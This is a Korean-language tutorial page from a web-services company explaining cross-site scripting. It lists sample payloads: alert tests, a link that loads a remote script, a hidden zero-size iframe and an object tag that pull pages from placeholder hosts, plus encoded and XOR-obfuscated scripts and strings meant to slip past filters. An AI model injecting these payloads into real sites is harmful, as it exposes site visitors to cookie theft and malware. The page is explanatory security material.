XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료 | 해피정닷컴

XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료

본문 바로가기

사이트 내 전체검색

XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료

Secure XSS (Cross Site Scripting) 크로스 사이트 스크립팅

페이지 정보


본문

XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 
예를들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.



1. XSS Test하기
일반적인 게시판에 <script>alert("XSS")</script> 라고 입력하여 XSS라는 메시지 창이 뜨면 XSS 취약점이 있는 것이다.

사용자의 쿠키값을 가지고 오게 한다
<script>alert(document.cookie);</script> 

클릭 시 악성코드가 있는 사이트로 이동
<a href="http://naver.com/test.cgi?loc=<script src='http://daum.net/test'></script>">Click here</a>



2. iframe과 메타테그 삽입으로 인한 해킹

<meta http-equiv='refresh' content='600; ur=test.php'>
<iframe src=" http://test.com/~bbs/hack.htm" width="0" height="0" frameborder="0"></iframe>
사이즈 0, 0 iframe을 만들어서 iframe에 악성코드가 들어 있는 사이트로 접속하게 만든다.



3. object 태그

<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
c:\nosuchfile.mht 파일이 없으면 악성코드가 심어져 있는 http://test.com/attack_chm::exploit.html 파일을 읽게 만든다.



4. div 기법

div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
    <img src="images/test.jpg">
</div>



5. 인코딩 기법

공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>



6. Obfuscated 기법

인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javas-ript">
    e = '0x00' + '5F';
    str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; 
    str = tmp = '';
    for(i=0; i<str1.length; i+=3)
    { 
        tmp = unescape(str1.slice(i,i+=3));
        str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
    }
    document.write(str); 
</script>



7. 기타우회 방법 

</script><script>alert('XSS');</script>
;</script><script>alert('XSS');</script>
</script><script>alert('XSS');</script>



자료출처
http://blog.naver.com/sdream4/10084831337 
http://blog.naver.com/sdream4/10046998900 

댓글목록

등록된 댓글이 없습니다.


Total 2,641건 33 페이지
  • RSS
기술자료 목록
2001
그누보드   12440  2017-06-15 11:52 ~ 2021-07-08 07:58  
2000
Secure   10864  2017-06-14 13:45  
1999
그누보드   15368  2017-06-09 17:39  
1998
영카트   15456  2017-06-08 03:35  
1997
etc쇼핑몰   10594  2017-06-07 13:40  
1996
그누보드   14782  2017-06-02 00:55 ~ 2018-07-06 11:36  
열람
Secure   17271  2017-06-01 03:31  
1994
그누보드   12815  2017-05-30 03:39  
1993
그누보드   15988  2017-05-29 23:19 ~ 2019-08-12 11:18  
1992
그누보드   15471  2017-05-29 18:49 ~ 2017-11-10 06:17  
1991
PHP   13251  2017-05-26 17:29  
1990
Editor   13495  2017-05-25 18:08  
1989
Secure   15593  2017-05-25 00:43  
1988
그누보드   13454  2017-05-22 11:45 ~ 2017-09-15 00:00  
1987
일반   10405  2017-05-19 17:31  
1986
영카트   15298  2017-05-19 15:03 ~ 2022-02-07 15:06  
1985
영카트   10905  2017-05-19 14:45  
1984
그누보드   10893  2017-05-18 14:44  
1983
Search   24141  2017-05-18 00:16  
1982
WindowsServer   11448  2017-05-17 18:54  

검색

해피정닷컴 정보

회사소개 회사연혁 협력사 오시는길 서비스 이용약관 개인정보 처리방침

회사명: 해피정닷컴   대표: 정창용   전화: 070-7600-3500   팩스: 042-670-8272
주소: (34368) 대전시 대덕구 대화로 160 대전산업용재유통단지 1동 222호
개인정보보호책임자: 정창용   사업자번호: 119-05-36414
통신판매업신고: 제2024-대전대덕-0405호 [사업자등록확인]  
Copyright 2001~2024 해피정닷컴. All Rights Reserved.